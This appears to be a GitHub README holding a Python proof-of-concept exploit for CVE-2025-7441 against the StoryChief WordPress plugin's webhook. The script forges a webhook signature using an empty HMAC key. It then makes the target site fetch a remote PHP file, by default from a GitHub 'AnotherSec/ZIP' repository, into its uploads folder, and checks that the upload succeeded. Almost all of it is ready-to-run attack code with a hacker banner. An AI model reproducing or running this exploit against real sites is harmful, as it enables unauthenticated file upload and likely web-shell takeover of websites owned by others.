README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-7441 By Pwdnx1337
"""
from datetime import datetime
import requests
import json
import hmac
import hashlib
import urllib3
import sys
import time
import os
import subprocess
import shlex
import urllib.parse
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
DEFAULT_FILE_URL = "https://raw.githubusercontent.com/AnotherSec/ZIP/refs/heads/main/ZIP.php"
def banner():
print(r"""
_______ _______ _ ___ ____ ____ ____ ______
| __ \ \ / / __ \| \ | \ \ / /_ |___ \___ \____ |
| |__) \ \ /\ / /| | | | \| |\ V / | | __) |__) | / /
| ___/ \ \/ \/ / | | | | . ` | > < | ||__ <|__ < / /
| | \ /\ / | |__| | |\ |/ . \ | |___) |__) |/ /
|_| \/ \/ |_____/|_| \_/_/ \_\|_|____/____//_/
""")
def make_payload(file_url):
dummy = {
"meta": {
"event": "publish"
},
"data": {
"featured_image": {
"data": {
"sizes": {
"full": file_url
}
}
}
}
}
return dummy
def compute_hmac_over_json(payload_obj, key=b""):
json_string = json.dumps(payload_obj, separators=(',', ':'), ensure_ascii=True)
json_escaped = json_string.replace("/", "\\/").encode()
signature = hmac.new(key, json_escaped, digestmod=hashlib.sha256).hexdigest()
return signature, json_escaped
def send_post_requests(endpoint, payload_json, headers, timeout=8, verify=False, verbose=False):
try:
if verbose:
print("[*] Sending POST via requests...")
resp = requests.post(endpoint, headers=headers, data=payload_json, timeout=timeout, verify=verify)
if verbose:
print(f"[*] POST status: {resp.status_code}")
body = (resp.text or "")[:500]
if body:
print("[*] Response body (truncated):")
print(body)
return True, resp
except requests.RequestException as e:
if verbose:
print(f"[!] requests POST failed: {e}")
return False, None
def send_post_curl(endpoint, payload_json, headers, timeout=8, verify=False, verbose=False):
cmd = ["curl", "-s", "-X", "POST", endpoint, "-H", "Content-Type: application/json", "-d", payload_json, "--max-time", str(int(timeout))]
if not verify:
cmd.append("-k")
for k, v in headers.items():
if k.lower() == "content-type":
continue
cmd += ["-H", f"{k}: {v}"]
if verbose:
print("[*] Running curl command:", " ".join(shlex.quote(x) for x in cmd))
try:
proc = subprocess.run(cmd, capture_output=True, text=True)
out = proc.stdout
err = proc.stderr
if verbose:
print(f"[*] curl returncode: {proc.returncode}")
if out:
print("[*] curl stdout (truncated):")
print(out[:1000])
if err:
print("[*] curl stderr (truncated):")
print(err[:1000])
return True, proc.returncode, out, err
except Exception as e:
if verbose:
print(f"[!] curl execution failed: {e}")
return False, None, None, None
def check_uploaded_path(base_site, file_url, retries=1, delay=2, timeout=8, verify=False, verbose=False):
file_name = os.path.basename(urllib.parse.urlparse(file_url).path) or None
if not file_name:
if verbose:
print("[!] Could not determine filename from file_url")
return False, None
now = datetime.now()
year = now.year
month = str(now.month).zfill(2)
uploaded_path = f"{base_site}/wp-content/uploads/{year}/{month}/{file_name}"
for attempt in range(1, retries + 1):
if verbose:
print(f"[*] Checking ({attempt}/{retries}): {uploaded_path}")
try:
r = requests.get(uploaded_path, timeout=timeout, verify=verify)
if r.status_code == 200:
return True, uploaded_path
except requests.RequestException as e:
if verbose:
print(f"[!] Error when checking uploaded path: {e}")
if attempt < retries:
time.sleep(delay)
return False, uploaded_path
def main():
banner()
parser = argparse.ArgumentParser(description="CVE-2025-7441 PoC BY PWDNX1337")
parser.add_argument("site_url", help="Base site URL, e.g. http://127.0.0.1:5000/")
parser.add_argument("--file-url", dest="file_url", default=DEFAULT_FILE_URL, help="Remote file URL to instruct the target to fetch (overrides default)")
parser.add_argument("--verbose", dest="verbose", action="store_true", help="Verbose output")
parser.add_argument("--use-curl", dest="use_curl", action="store_true", help="Use curl subprocess to deliver POST (fallback)")
parser.add_argument("--retries", dest="retries", type=int, default=1, help="Number of checks for uploaded file (default 1)")
args = parser.parse_args()
base_site = args.site_url.rstrip('/')
file_url = args.file_url
verbose = args.verbose
use_curl = args.use_curl
retries = max(1, args.retries)
if verbose:
print(f"[*] Target: {base_site}")
print(f"[*] file_url: {file_url}")
print(f"[*] retries: {retries}")
print(f"[*] use_curl: {use_curl}")
payload_obj = make_payload(file_url)
signature, json_escaped = compute_hmac_over_json(payload_obj, key=b"")
payload_obj["meta"]["mac"] = signature
payload_json = json.dumps(payload_obj)
print("[+] computed hmac :", signature)
endpoint = base_site + "/wp-json/storychief/webhook"
headers = {"Content-Type": "application/json"}
if args.use_curl:
ok, retcode, out, err = send_post_curl(endpoint, payload_json, headers, timeout=8, verify=False, verbose=verbose)
if not ok:
if verbose:
print("[!] curl delivery failed, falling back to requests...")
ok2, resp = send_post_requests(endpoint, payload_json, headers, timeout=8, verify=False, verbose=verbose)
if not ok2:
if verbose:
print("[!] requests delivery also failed.")
else:
if verbose:
try:
_ = json.loads(out)
if verbose:
print("[*] curl returned JSON response (interpretable).")
except Exception:
if verbose:
print("[*] curl stdout not JSON or empty.")
else:
ok, resp = send_post_requests(endpoint, payload_json, headers, timeout=8, verify=False, verbose=verbose)
if not ok:
if verbose:
print("[!] POST failed via requests.")
ok_file, uploaded_path = check_uploaded_path(base_site, file_url, retries=retries, delay=2, timeout=8, verify=False, verbose=verbose)
if ok_file:
print("[+] success! [+]")
print(uploaded_path)
else:
print("<failed to upload>")
if __name__ == "__main__":
main()